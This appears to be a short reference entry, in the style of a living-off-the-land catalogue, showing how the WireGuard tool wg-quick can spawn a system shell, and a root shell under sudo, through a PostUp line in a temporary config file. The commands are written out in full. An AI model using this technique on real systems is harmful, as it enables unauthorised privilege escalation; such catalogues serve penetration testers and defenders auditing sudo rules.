This executable can spawn an interactive system shell.
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
cat >/path/to/temp-file.conf <<EOF
[Interface]
PostUp = /bin/sh
EOF
wg-quick up /path/to/temp-file.conf